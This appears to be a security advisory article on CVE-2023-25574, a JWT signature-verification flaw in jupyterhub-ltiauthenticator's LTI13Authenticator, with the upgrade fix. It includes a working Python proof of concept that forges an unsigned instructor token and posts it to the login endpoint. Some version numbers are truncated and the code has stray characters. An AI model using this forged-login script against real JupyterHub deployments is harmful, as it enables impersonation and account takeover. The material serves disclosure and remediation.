CVE-2023-25574 - Critical JWT Forgery Vulnerability in jupyterhub-ltiauthenticator’s LTI13Authenticator

If you’re running JupyterHub in an academic or learning environment, you probably rely on plug-in authenticators like jupyterhub-ltiauthenticator to bring in users from your institution’s learning platform. But if you used its new LTI13Authenticator feature (introduced in version 1.3.), you should know about CVE-2023-25574—a serious security flaw that could let anyone log in as any user.

In this article, we break down what happened, who’s affected, and how it could be abused—plus, clear steps to secure your deployment.

What is jupyterhub-ltiauthenticator?

jupyterhub-ltiauthenticator is a third-party login module for JupyterHub, popular in education. It’s designed so instructors and students can sign in to JupyterHub right from their school’s LMS (Learning Management System) via Learning Tools Interoperability (LTI).

In early 2022, a new authenticator was added: LTI13Authenticator, supporting LTI 1.3 (the latest secure LTI protocol). But as reported in CVE-2023-25574, there was a glaring problem in its JWT signature handling.

The LTI13Authenticator did not validate the JSON Web Token (JWT) signature.

JWTs are like digital passports, signed by the issuer (your LMS). Without signature verification, anyone could create a fake JWT (“passport”) with any username, and JupyterHub would accept it as real—giving attackers access to any account.

Exploit scenario:
If an attacker could craft their own POST request with a forged JWT body marked as “teacher” or “admin,” they could gain full control of your learning environment.

Who is at risk:
Only installations with LTI13Authenticator enabled (authenticator_class: LTI13Authenticator in the config file), using vulnerable versions 1.3. - 1.3.x.

Create a fake JWT with any payload (e.g., as “jane.doe” with instructor privileges).

2. Skip signing: Just encode the JWT using “none” algorithm or any value—it doesn’t matter, since the signature isn’t verified.
3. POST it to the JupyterHub LTI13 login URL (/hub/lti/launch).

Sample Exploitation in Python

import jwt  # Install: pip install PyJWT
import requests

# Forge the payload as any user (e.g., as instructor)
payload = {
    "sub": "jane.doe",
    "name": "Jane Doe",
    "roles": ["http://purl.imsglobal.org/vocab/lis/v2/institution/person#Instructor";],
    "iss": "fake-lms.example.com",
    # Add any other fields expected by the hub...
}

# Generate a JWT with a fake key (or NO SIGNATURE AT ALL if 'alg':'none')
token = jwt.encode(payload, key='', algorithm='none')

print("Forged JWT token:", token)

# Prepare the POST request as if from the LMS
data = {
    'id_token': token,
    # anything else needed for launch
}

# Send to the LTI 1.3 endpoint
response = requests.post('https://your.jupyterhub.org/hub/lti/launch';, data=data)

print(response.text)  # Should show a logged-in JupyterHub page if vulnerable!

If the Hub logs you in as “Jane Doe,” you have confirmed the vulnerability.

No Workarounds—Immediate Upgrade Required

There are no known workarounds for this issue. Disabling LTI13Authenticator is the only temporary fix.

The bug was fixed by completely removing LTI13Authenticator in version 1.4.

- Release 1.4. Changelog
- Commit removing LTI13Authenticator

To fix

pip install --upgrade jupyterhub-ltiauthenticator

> After upgrade, you’ll have to use another supported authenticator class.

Further References

- Official Advisory on GitHub
- CVE Record
- jupyterhub-ltiauthenticator Releases
- Understanding JWTs

This was a severe authentication bypass affecting educational deployments.

- If you enabled LTI13Authenticator between releases 1.3. and 1.4., assume compromise and audit your user logins.

Update ASAP to 1.4. or later, and replace LTI13Authenticator in your config.

Staying on top of these issues is crucial: always check for security advisories for your JupyterHub plugins, and don’t trust unauthenticated claims from external tools!

If you have questions or need support migrating to a secure LTI authenticator, check the JupyterHub Discourse or raise issues on GitHub.

Timeline

Published on: 02/25/2025 15:15:16 UTC